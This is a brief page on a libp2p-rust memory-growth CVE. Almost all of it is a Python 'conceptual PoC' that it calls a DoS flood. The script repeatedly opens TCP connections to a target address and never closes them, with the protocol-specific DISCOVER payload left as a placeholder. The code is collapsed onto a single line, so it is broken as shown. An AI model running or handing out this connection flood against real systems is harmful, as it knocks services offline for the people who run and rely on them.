CVE-2026-35457 libp2p-rust无界内存增长漏洞

import socket import time # Conceptual PoC for CVE-2026-35457 # This script simulates sending repeated DISCOVER requests to a libp2p rendezvous server. # Note: Actual libp2p protocol implementation (protobuf/multistream) is required for a real exploit. TARGET_IP = "127.0.0.1" TARGET_PORT = 9999 def send_discover_flood(): print(f"[*] Starting DoS flood on {TARGET_IP}:{TARGET_PORT}...") count = 0 try: while True: # In a real scenario, this would construct a valid libp2p packet # containing a DISCOVER message. # For simulation, we open a connection to consume resources. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Logic to send DISCOVER request would go here # s.send(data) count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests. Memory growing...") # Not closing the socket or sending valid pagination cookies # forces the server to keep state if vulnerable. time.sleep(0.01) except KeyboardInterrupt: print("\n[!] Attack stopped by user.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_discover_flood()